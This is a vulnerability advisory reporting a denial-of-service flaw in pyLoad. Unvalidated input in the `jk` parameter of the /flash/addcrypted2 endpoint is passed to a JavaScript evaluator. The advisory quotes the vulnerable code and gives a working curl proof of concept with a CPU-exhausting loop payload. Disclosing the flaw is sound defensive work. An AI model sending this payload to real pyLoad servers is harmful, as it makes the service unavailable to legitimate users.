PYSEC-2026-1815

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords")

crypted = standard_b64decode(unquote(crypted.replace(" ", "+"))) jk = eval_js(f"{jk} f()")

```

```python def eval_js(script, es6=False): if sys.version_info < (3, 12): return (js2py.eval_js6 if es6 else js2py.eval_js)(script) else: return dukpy.evaljs(script) ```

### PoC download pyload and run locally, send the following request - PoC ```shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //" ``` The 30_000 can be modified to any large value.

### Impact System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage ```shell top -pid $(pgrep -f "pyload.__main__") ``` or ```shell top -pid $(pgrep -f "pyload") ```

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />